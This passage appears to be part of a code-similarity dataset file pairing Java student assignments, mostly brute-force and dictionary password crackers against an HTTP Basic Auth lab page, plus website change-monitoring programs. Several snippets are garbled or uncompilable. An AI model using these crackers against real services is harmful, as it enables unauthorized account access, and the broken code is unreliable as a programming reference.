| \ urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator\ | |
| \ auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\ | |
| \n\t System.out.println(\"trying passord: \" + passwd);\n try{\n \ | |
| \ URL yahoo = new URL(urlString); \n BufferedReader in =\ | |
| \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \ | |
| \ String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\ | |
| \t System.out.println(inputLine);\n\t System.out.println(\"passord:\ | |
| \ \" + passwd);\n returnval = 1;\n }\n\t in.close();\n\ | |
| \ }catch(Exception e){ returnval = 0;}\n return returnval;\n \ | |
| \ }\n\n public static void main(String argv[]) { \n\n String[] val =\ | |
| \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\ | |
| m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ | |
| z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ | |
| M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\ | |
| Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n\ | |
| \ int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce\ | |
| \ s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ | |
| ; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n \ | |
| \ pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ | |
| \ \n if (retval > 0) {\n System.exit(0);\n }\n }\n\ | |
| \n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\ | |
| \ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\ | |
| \ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\ | |
| \ if (retval > 0) {\n System.exit(0);\n }\n \ | |
| \ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \ | |
| \ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\ | |
| \ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\ | |
| \ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\ | |
| \ \n if (retval > 0) {\n System.exit(0);\n \ | |
| \ }\n }\n }\n }\n\n } \n} \n\n" | |
| - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\ | |
| import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n \ | |
| \ private String url;\n private URL currURL;\n private\ | |
| \ URLConnection conn;\n private HoldSharedData sharedData;\n private int\ | |
| \ noOfThread;\n private int batch;\n\n public ConnectionThread(\ | |
| \ String pageURL, int wThread,\n int newBatch, HoldSharedData\ | |
| \ data )\n {\n super();\n url = pageURL;\n noOfThread\ | |
| \ = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n\ | |
| \ \n public void run()\n {\n try\n {\n currURL\ | |
| \ = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread\ | |
| \ + 1)*batch) &&\n (i < sharedData.getPwdCount());\ | |
| \ i ++ )\n {\n String pwd = sharedData.getPasswordAt(\ | |
| \ i );\n\n conn = currURL.openConnection();\n\n \ | |
| \ if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection\ | |
| \ hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n\ | |
| \ String cad = \" \" + based64Encoder( \":\" + pwd );\n \ | |
| \ hconn.setRequestProperty( \"Authorization\", cad );\n\n \ | |
| \ hconn.connect();\n\t int response = hconn.getResponseCode();\n\ | |
| \ sharedData.setNumOfConnections();\n\n \ | |
| \ if( response == 200 )\n {\n totalTime\ | |
| \ = System.currentTimeMillis() -\n sharedData.getStartTime();\n\ | |
| \ int numOfConnections = sharedData.getNumOfConnections();\n\ | |
| \n System.out.println( \"Password is \" + pwd );\n \ | |
| \ System.out.println( \"Total Time(seconds)=\" +\n \ | |
| \ (double)totalTime/1000 );\n \ | |
| \ System.out.println( \"Number Of Connections: \" +\n \ | |
| \ numOfConnections );\n \ | |
| \ System.exit(0);\n }\n else\n \ | |
| \ {\n hconn.disconnect();\n \ | |
| \ }\n }\n }\n }\n catch( MalformedURLException\ | |
| \ mue )\n {\n String msg = \"Unable parse URL: \" + url;\n\ | |
| \ System.err.println( msg );\n }\n catch( IOException\ | |
| \ ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n\ | |
| \ }\n }\n\n private String based64Encoder( String pwd )\n {\n\ | |
| \ \n String str = pwd;\n byte[] buf = str.getBytes();\n \ | |
| \ String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n \ | |
| \ return encodedStr;\n }\n} " | |
| - source_sentence: "\n\n\n\npublic class SMTPException extends Exception {\n\n \ | |
| \ private String msg; \n \n public SMTPException(String message)\ | |
| \ {\n msg = message;\n }\n\n \n public String getMessage()\ | |
| \ {\n return msg;\n }\n}" | |
| sentences: | |
| - "import java.util.*;\nimport java.net.*;\nimport java.io.*;\n\npublic class BruteForce\n\ | |
| {\n boolean connected = false;\n int counter;\n String[] chars = {\"\ | |
| a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\n \"i\",\"j\"\ | |
| ,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\n \"q\",\"r\",\"s\",\"\ | |
| t\",\"u\",\"v\",\"w\",\"x\",\n \"y\",\"z\",\"A\",\"B\",\"C\"\ | |
| ,\"D\",\"E\",\"F\",\n \"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ | |
| M\",\"N\",\n \"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\"\ | |
| ,\n \"W\",\"X\",\"Y\",\"Z\"};\n Vector combinations = new\ | |
| \ Vector();\n \n BruteForce()\n {\n counter = 0;\n this.genCombinations();\n\ | |
| \ this.startAttack();\n } \n \n public void startAttack()\n\ | |
| \ {\n while(counter<this.combinations.size())\n {\n \ | |
| \ connected = sendRequest();\n if(connected == true)\n {\n\ | |
| \ System.out.print(\"The password is: \");\n System.out.println((String)combinations.elementAt(counter-1));\n\ | |
| \ counter = combinations.size();\n }\n }\n }\n\ | |
| \ \n public void genCombinations()\n {\n String combination =\ | |
| \ new String();\n \n for (int x=0; x<52; x++)\n {\n \ | |
| \ combination = chars[x];\n this.combinations.addElement(combination);\n\ | |
| \ }\n \n for (int x=0; x<52; x++)\n {\n \ | |
| \ for (int y=0; y<52; y++)\n {\n combination = chars[x]\ | |
| \ + chars[y];\n this.combinations.addElement(combination);\n \ | |
| \ }\n } \n \n for (int x=0; x<52; x++)\n \ | |
| \ {\n for (int y=0; y<52; y++)\n {\n for\ | |
| \ (int z=0; z<52; z++)\n {\n combination = chars[x]\ | |
| \ + chars[y] + chars[z];\n this.combinations.addElement(combination);\n\ | |
| \ }\n }\n } \n }\n \n public boolean\ | |
| \ sendRequest()\n {\n Authenticator.setDefault (new MyAuthenticator\ | |
| \ ());\n try \n {\n \t\n \tURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ | |
| );\n HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();\n\ | |
| \ urlConn.connect();\n if(urlConn.getResponseMessage().equalsIgnoreCase(\"\ | |
| OK\"))\n {\n return true;\n }\n\ | |
| \ \n } \n catch (IOException e) {}\n \n \ | |
| \ return false;\n }\n \n public static void main(String [] args)\n\ | |
| \ {\n BruteForce bf = new BruteForce();\n }\n \n \n class\ | |
| \ MyAuthenticator extends Authenticator {\n \n protected PasswordAuthentication\ | |
| \ getPasswordAuthentication() {\n String username = \"\";\n \ | |
| \ String password = (String)combinations.elementAt(counter);\n \ | |
| \ counter++;\n return new PasswordAuthentication(username, password.toCharArray());\n\ | |
| \ }\n }\n}\n" | |
| - "import java.io.*;\nimport java.net.*;\nimport java.misc.*;\n\n\npublic class\ | |
| \ Dictionary\n{\n\n public static void main (String args[]) throws IOException\n\ | |
| \ {\n final int maxLength = 3;\n final String username = \"\";\n \ | |
| \ final File dicFile = new File(\"/usr/share/lib/dict/words\");\n final\ | |
| \ URL pageURL = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n String\ | |
| \ password=\"\";\n BASE64Encoder encoder = new BASE64Encoder();\n boolean\ | |
| \ notFound = true;\n HttpURLConnection conn;\n\n BufferedReader reader\ | |
| \ = new BufferedReader(new FileReader(dicFile));\n\n while (notFound&&((password\ | |
| \ = reader.readLine()) != null))\n {\n if(password.length()>maxLength)\n\ | |
| \ {\n continue;\n }\n\n conn = (HttpURLConnection)\ | |
| \ pageURL.openConnection();\n\n conn.setRequestProperty(\"Authorization\"\ | |
| , \" \"+encoder.encode((username+\":\"+password).getBytes()));\n\n if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)\n\ | |
| \ {\n notFound=false;\n }\n\n }\n\n reader.print();\n\ | |
| \n if(notFound)\n {\n System.out.println(\" valid password in\ | |
| \ dictionary file.\");\n }\n else\n {\n System.out.println(\"\ | |
| Found valid password: \\\"\"+password+\"\\\"\");\n }\n }\n}\n\n" | |
| - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\ | |
| \npublic class Dictionary\n{\n\n public Dictionary()\n {\n }\n\n public static\ | |
| \ void main(String[] args)\n {\n try\n {\n\n if (args.length !=\ | |
| \ 3 )\n {\n System.out.println(\"Usage: java BruteForce <URL>\ | |
| \ <UserName> <DictFileName>\");\n System.exit(1);\n }\n\n \ | |
| \ timeStart = System.currentTimeMillis();\n\n String strPass = applyDictionary\ | |
| \ (args[0], args[1], args [2]);\n\n timeEnd = System.currentTimeMillis();\n\ | |
| \n System.out.println(\"\\n\\n\\n\\n\\tPass Cracked is: \" + strPass);\n\ | |
| \ System.out.println(\"\\tTime taken is (sec):\" + String.valueOf((timeEnd\ | |
| \ - timeStart)/1000));\n\n }\n catch(Exception e)\n {\n e.printStackTrace();\n\ | |
| \ }\n }\n\n static String applyDictionary (String URL, String UserName, String\ | |
| \ strUrlDictionary)\n {\n String strPass = \"\";\n\n try\n {\n\ | |
| \ FileInputStream fIn = new FileInputStream ( strUrlDictionary );\n\ | |
| \ DataInputStream dtIn = new DataInputStream ( fIn );\n\n \ | |
| \ \n \n\n System.out.print(\"\\n\\n\\n Applying\ | |
| \ Dictionary Attack: \");\n\n while (dtIn.available() > 0)\n\ | |
| \ {\n strPass = dtIn.readLine();\n\n \ | |
| \ if (strPass.length() != 3)\n continue;\n\n \ | |
| \ \n \n\n System.out.print(\"\\b\\b\\b\"\ | |
| \ + strPass );\n\n boolean boolResult = applyPass ( URL, UserName,\ | |
| \ strPass );\n\n if (boolResult)\n {\n \ | |
| \ dtIn.close();\n fIn.close();\n \ | |
| \ return strPass;\n }\n }\n\n \ | |
| \ dtIn.close();\n fIn.close();\n }\n catch (Exception\ | |
| \ e)\n {\n e.printStackTrace();\n }\n\n return \"Could\ | |
| \ not find match\";\n }\n\n private static boolean applyPass (String strURL,\ | |
| \ String strUserName, String strPass )\n {\n BASE64Encoder myEncoder =\ | |
| \ new BASE64Encoder ();\n\n try\n {\n String str = strUserName\ | |
| \ + \":\" + strPass;\n\n String strEncode = myEncoder.encode(str.getBytes());\n\ | |
| \n URL url = new URL (strURL);\n\n URLConnection urlConn\ | |
| \ = url.openConnection();\n\n urlConn.setRequestProperty (\"Authorization\"\ | |
| , \" \" + strEncode);\n\n urlConn.connect();\n\n String\ | |
| \ strReply = urlConn.getHeaderField(0);\n\n if ( strReply.trim().equalsIgnoreCase(\"\ | |
| HTTP/1.1 200 OK\") )\n {\n return true;\n \ | |
| \ }\n }\n catch (Exception e)\n {\n e.printStackTrace\ | |
| \ ();\n }\n\n return false;\n }\n}\n" | |
| - source_sentence: "import java.io.*;\nimport java.util.*;\nimport java.text.*;\n\ | |
| import java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends\ | |
| \ Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t WatchDog\ | |
| \ watcher = new WatchDog();\n\t watcher.run();\n\t}\n\n\t\n public void\ | |
| \ run()\n {\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\ | |
| \ DateFormat.FULL);\n twentyFourHours = 24 * 60 * 60 * 1000;\n \ | |
| \ \n\n \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new\ | |
| \ Date()));\n while(true)\n {\n \t\twriteProgramLog(\"Running\ | |
| \ run at \" + longTimestamp.format(new Date()));\n compare();\n \ | |
| \ try\n {\n sleep(twentyFourHours);\n \ | |
| \ }\n catch(InterruptedException e)\n {\n \ | |
| \ writeProgramLog(\"Program terminated at \" + longTimestamp.format(new\ | |
| \ Date()));\n System.exit(0);\n }\n }\n }\ | |
| \ \n\n\t\n private void compare()\n {\n \n \n \n \ | |
| \ String watchDogFile = \"watchDogHash_rcroft.\";\n String watchDogPageFile\ | |
| \ = \"watchDogPage_rcroft.html\";\n \n File watchDogLogFile = new File(watchDogFile);\n\ | |
| \ \n if(!watchDogLogFile.exists())\n {\n \n \ | |
| \ \n \n \n \n WebPage targetPage\ | |
| \ = getPage();\n if(targetPage.getSuccess())\n {\n \ | |
| \ byte[] newHash = calcHash(targetPage.getPageContents());\n \ | |
| \ writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(),\ | |
| \ watchDogPageFile);\n }\n }\n else\n {\n \ | |
| \ try\n {\n \n \n \ | |
| \ \n \n \n \n WebPage\ | |
| \ targetPage = getPage();\n if(targetPage.getSuccess())\n \ | |
| \ {\n \n byte[] oldHash = new\ | |
| \ byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\ | |
| \n \n DataInputStream inWatchDogFile = new\ | |
| \ DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n\ | |
| \ inWatchDogFile.print();\n \n \ | |
| \ \n \n \n \ | |
| \ if(!java.util.Arrays.equals(oldHash, newHash))\n {\n \ | |
| \ String differences = enumerateDifferences(watchDogPageFile,\ | |
| \ targetPage.getPageContents());\n mail(differences);\n\ | |
| \ writeHash(newHash, watchDogFile);\n \ | |
| \ writePage(targetPage.getPageContents(), watchDogPageFile);\n \ | |
| \ }\n }\n }\n catch(IOException\ | |
| \ e)\n {\n writeProgramLog(\"Exception: \" + e);\n \ | |
| \ }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String\ | |
| \ oldPageFileName, String newPageData)\n\t{\n\t String differences = \"\";\n\ | |
| \t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t \ | |
| \ newFile = File.createTempFile(\"new\", \"tmp\");\n String tempFilePath\ | |
| \ = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new\ | |
| \ FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n\ | |
| \ outFile.print();\n \n \n String commandLine\ | |
| \ = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n Process p =\ | |
| \ Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new\ | |
| \ BufferedReader(new InputStreamReader(p.getInputStream()));\n String\ | |
| \ line;\n while((line = diffs.readLine()) != null)\n differences\ | |
| \ += line + \"\\n\";\n diffs.print();\n newFile.delete();\n\t\ | |
| \ }\n\t catch(IOException e)\n\t {\n\t writeProgramLog(\"Exception:\ | |
| \ \" + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void\ | |
| \ mail(String mailMessage)\n {\n \n Vector emailAddresses = new\ | |
| \ Vector();\n String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\ | |
| \n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n\ | |
| \ {\n try\n {\n \n \ | |
| \ BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new\ | |
| \ FileInputStream(watchDogEmailFile)));\n String line;\n \ | |
| \ while ((line = inWatchDogEmailFile.readLine()) != null)\n \ | |
| \ {\n line = line.trim();\n if((line\ | |
| \ != \"\") && (line != \"\\n\"))\n emailAddresses.add(line);\n\ | |
| \ }\n inWatchDogEmailFile.print();\n \t }\n\ | |
| \ \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog(\"\ | |
| Exception: \" + e);\n \t }\n \t catch(IOException e)\n \t {\n\ | |
| \ \t writeProgramLog(\"Exception: \" + e);\n \t }\n }\n\ | |
| \ else\n {\n emailAddresses.add(\"@yallara.cs.rmit.edu.\"\ | |
| );\n emailAddresses.add(\"rac@acslink.aone.net.\");\n }\n \ | |
| \ \n if(emailAddresses.size() > 0) \n {\n \ | |
| \ try\n {\n String fromAddress = \"From: \" + \"WatchDog\ | |
| \ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\ | |
| \ + \">\";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\ | |
| \ DateFormat.FULL);\n String subject = \"Subject: [SEC project]\ | |
| \ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\ | |
| )\";\n for(int i = 0; i < emailAddresses.size(); i++)\n \ | |
| \ {\n String toAddress = (String) emailAddresses.get(i);\n\ | |
| \ try\n {\n URL mailURL\ | |
| \ = new URL(\"mailto: \" + toAddress);\n URLConnection\ | |
| \ mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n\ | |
| \ mailConnection.setDoOutput(true);\n \ | |
| \ mailConnection.connect();\n PrintWriter mailWriter\ | |
| \ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\ | |
| \ mailWriter.print(\": \" + toAddress + \"\\n\");\n \ | |
| \ mailWriter.print(fromAddress + \"\\n\");\n \ | |
| \ mailWriter.print(subject + \"\\n\");\n mailWriter.print(mailMessage);\n\ | |
| \ mailWriter.print();\n writeProgramLog(\"\ | |
| \\tNotification mailed in this run.\");\n }\n \ | |
| \ catch(MalformedURLException e)\n {\n \ | |
| \ writeProgramLog(\"Exception: \" + e);\n }\n \ | |
| \ catch(IOException e)\n {\n \ | |
| \ writeProgramLog(\"Exception: \" + e);\n }\n \ | |
| \ }\n }\n catch(UnknownHostException e)\n \ | |
| \ {\n writeProgramLog(\"Exception: \" + e);\n \ | |
| \ } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash,\ | |
| \ String fileName)\n {\n try\n {\n DataOutputStream\ | |
| \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ | |
| \ outFile.write(newHash, 0, newHash.length);\n outFile.print();\n\ | |
| \ }\n catch(IOException e)\n {\n writeProgramLog(\"\ | |
| Exception: \" + e);\n }\n } \n \n\t\n private void writePage(String\ | |
| \ newPage, String fileName)\n {\n try\n {\n DataOutputStream\ | |
| \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ | |
| \ outFile.writeBytes(newPage);\n outFile.print();\n }\n \ | |
| \ catch(IOException e)\n {\n writeProgramLog(\"Exception:\ | |
| \ \" + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String\ | |
| \ comment)\n {\n String fileName = \"watchDogLog_rcroft.txt\";\n \ | |
| \ try\n {\n DataOutputStream outFile = new DataOutputStream(new\ | |
| \ FileOutputStream(fileName, true));\n outFile.writeBytes(comment +\ | |
| \ \"\\n\");\n outFile.flush();\n outFile.print();\n \ | |
| \ }\n catch(IOException e)\n {\n \n \n\ | |
| \ System.out.println(\"Exception: \" + e);\n }\n } \n\n\t\ | |
| \n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n\ | |
| \ try\n {\n \n \n \n \ | |
| \ String urlName = \"http://www.cs.rmit.edu./students/\";\n \t \tURL targetURL=\ | |
| \ new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection)\ | |
| \ targetURL.openConnection();\n \n \n connection.connect();\n\ | |
| \ connection.getResponseCode();\n if(connection.getResponseCode()\ | |
| \ == 200)\n\t\t {\n\t\t String fileContents = \"\";\n\t\t BufferedReader\ | |
| \ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\ | |
| \ String line;\n \t\t while((line = in.readLine()) != null)\n\ | |
| \t\t \t fileContents = fileContents + line + \"\\n\";\n\t\t in.print();\n\ | |
| \t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n\ | |
| \ \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n\ | |
| \ \t\t writeProgramLog(\"Failed connect \" + connection.getResponseCode());\n\ | |
| \t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog(\"\ | |
| Exception \" + e);\n } \n return tempWebPage;\n } \n \n\t\n\ | |
| \ private byte[] calcHash(String pageContents)\n {\n byte[] outHash\ | |
| \ = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance(\"\ | |
| \");\n msg.reset();\n msg.update(pageContents.getBytes());\n\ | |
| \ outHash = msg.digest();\n msg.reset();\n }\n \ | |
| \ catch(NoSuchAlgorithmException e)\n {\n writeProgramLog(\"\ | |
| Exception: \" + e);\n }\n return outHash;\n } \n \n} \n" | |
| sentences: | |
| - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\ | |
| \nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \ | |
| \ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ | |
| ;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\ | |
| \";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\ | |
| \ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\ | |
| \ <username>\");\n \treturn;\n \t\n \t}\n String username\ | |
| \ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\ | |
| \ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\ | |
| \ method attack \"+username+\"'s password.Please waiting.......\");\n\n \ | |
| \ for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\ | |
| \n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\ | |
| \ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\ | |
| The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \ | |
| \ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\ | |
| \ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\ | |
| \ \n \treturn;\n\n }\n\n for\ | |
| \ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\ | |
| \n URLcon = new BruteForce (passwd,username);\n\n \ | |
| \ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\ | |
| \n System.out.println(\"The password: \"+ passwd);\n\n\n \ | |
| \ double dt =t1-t0;\n\n\n\n System.out.println(\"\ | |
| It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \ | |
| \ System.out.println (\"Finish \" + new Date());\n \ | |
| \ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\ | |
| \n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\ | |
| \n URLcon = new BruteForce (passwd,username);\n\n \ | |
| \ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\ | |
| \n System.out.println(\"The password: \"+ passwd);\n\n\n \ | |
| \ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\ | |
| It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \ | |
| \ \n System.out.println (\"Finish \" + new\ | |
| \ Date());\n \n \t return;\n\n \ | |
| \ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\ | |
| \ password\");\n\n}\n\n public BruteForce (String password, String username){\n\ | |
| \n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \ | |
| \ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\ | |
| \n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\ | |
| \n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\ | |
| \ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\ | |
| \ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \ | |
| \ catch(MalformedURLException e){\n \t System.out.println(e);\n \ | |
| \ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \ | |
| \ }\n}" | |
| - "package java.httputils;\n\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ | |
| import java.sql.Timestamp;\n\n\npublic class RunnableBruteForce extends BruteForce\ | |
| \ implements Runnable\n{\n protected int rangeStart, rangeEnd;\n protected\ | |
| \ boolean stop = false;\n \n public RunnableBruteForce()\n {\n \ | |
| \ super();\n }\n\n \n public void run()\n {\n process();\n\ | |
| \ }\n\n public static void main(String[] args)\n {\n }\n \n \ | |
| \ public int getRangeEnd()\n {\n return rangeEnd;\n }\n\n \n \ | |
| \ public int getRangeStart()\n {\n return rangeStart;\n }\n\n \ | |
| \ \n public void setRangeEnd(int i)\n {\n rangeEnd = i;\n }\n\ | |
| \n \n public void setRangeStart(int i)\n {\n rangeStart = i;\n\ | |
| \ }\n\n \n public boolean isStop()\n {\n return stop;\n \ | |
| \ }\n\n \n public void setStop(boolean b)\n {\n stop = b;\n \ | |
| \ }\n\n public void process()\n {\n String password = \"\";\n \ | |
| \ \n System.out.println(Thread.currentThread().getName() +\n \ | |
| \ \"-> workload: \" +\n this.letters[getRangeStart()]\ | |
| \ + \" \" +\n this.letters[getRangeEnd() - 1]);\n\ | |
| \ setStart(new Timestamp(System.currentTimeMillis()));\n\n for (int\ | |
| \ i = getRangeStart();\n i < getRangeEnd();\n i++)\n \ | |
| \ {\n System.out.println(Thread.currentThread().getName() +\n \ | |
| \ \"-> Trying words beginning with: \" +\n \ | |
| \ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\ | |
| \ i2++)\n {\n for (int i3 = 0;\n \ | |
| \ i3 < letters.length;\n i3++)\n \ | |
| \ {\n if (isStop())\n {\n \ | |
| \ return;\n }\n try\n \ | |
| \ {\n char [] arr = new char [] {letters[i],\ | |
| \ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\ | |
| \ \n if (Thread.currentThread().getName().equals(\"\ | |
| Thread-1\") && pwd.equals(\"bad\"))\n {\n \ | |
| \ System.out.println(Thread.currentThread().getName() +\n \ | |
| \ \"-> Trying password: \" +\n \ | |
| \ pwd);\n }\n attempts++;\n\ | |
| \n BasicAuthHttpRequest req =\n \ | |
| \ new BasicAuthHttpRequest(\n getURL(),\n \ | |
| \ getUserName(),\n \ | |
| \ pwd);\n System.out.println(\"Got the password\");\n\ | |
| \ setPassword(pwd);\n setEnd(new\ | |
| \ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\ | |
| \n \n this.setChanged();\n \ | |
| \ this.notifyObservers(this.getContent());\n \ | |
| \ return;\n }\n catch (MalformedURLException\ | |
| \ e)\n {\n e.printStackTrace();\n \ | |
| \ return;\n }\n catch\ | |
| \ (IOException e)\n {\n\n }\n \ | |
| \ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ | |
| \ }\n\n}\n" | |
| - "\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport\ | |
| \ java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\ | |
| \n{\n\n static String strImageOutputFile01 = \"WebPageImages01.txt\";\n\ | |
| \ static String strImageOutputFile02 = \"WebPageImages02.txt\";\n\n static\ | |
| \ String strWebPageOutputFile01 = \"WebPageOutput01.txt\";\n static String\ | |
| \ strWebPageOutputFile02 = \"WebPageOutput02.txt\";\n\n static String strWatchDogDiffFile_01_02\ | |
| \ = \"WatchDogDiff_01_02.txt\";\n\n static String strFromEmailDefault = \"@.rmit.edu.\"\ | |
| ;\n static String strToEmailDefault = \"@.rmit.edu.\";\n\n static String\ | |
| \ strFromEmail = null;\n static String strToEmail = null;\n\n\n\n\n public\ | |
| \ static void main (String args[])\n \n {\n\n \n \n \ | |
| \ \n \n \n\n URL url = null;\n HttpURLConnection urlConnection;\n\ | |
| \ int intContentLength;\n String strWebPageText = \"\";\n\n String\ | |
| \ strURL = \"http://www.cs.rmit.edu./students/\";\n String strPrePend\ | |
| \ = \"http://www.cs.rmit.edu.\";\n\n boolean boolURLisOK = true;\n\n\n\n\n\ | |
| \n System.out.println();\n\n\n \n \n tidyUpWatchDogFiles();\n\ | |
| \n\n \n \n \n \n promptForEmailAddresses();\n\ | |
| \n\n\n\n try\n {\n \n \n url = new URL(strURL);\ | |
| \ \n }\n\n catch(MalformedURLException e)\n {\n System.out.println(\"\ | |
| ERROR: invalid URL \" + strURL); \n System.err.println(e); \n \n \ | |
| \ boolURLisOK = false;\n url = null;\n } \n\n catch(Exception\ | |
| \ e)\n {\n System.out.println(\"Exception\"); \n System.err.println(e);\ | |
| \ \n }\n\n\n System.err.println(); \n\n\n if (boolURLisOK)\n\ | |
| \ {\n try\n { \n\n \n \n \ | |
| \ urlConnection = (HttpURLConnection)url.openConnection();\n\n\n \ | |
| \ \n \n InputStream urlStream = urlConnection.getInputStream();\n\ | |
| \n\n \n \n int intNumRead = urlStream.print();\n\ | |
| \ String strNewContent; \n\n while (intNumRead != -1)\n\ | |
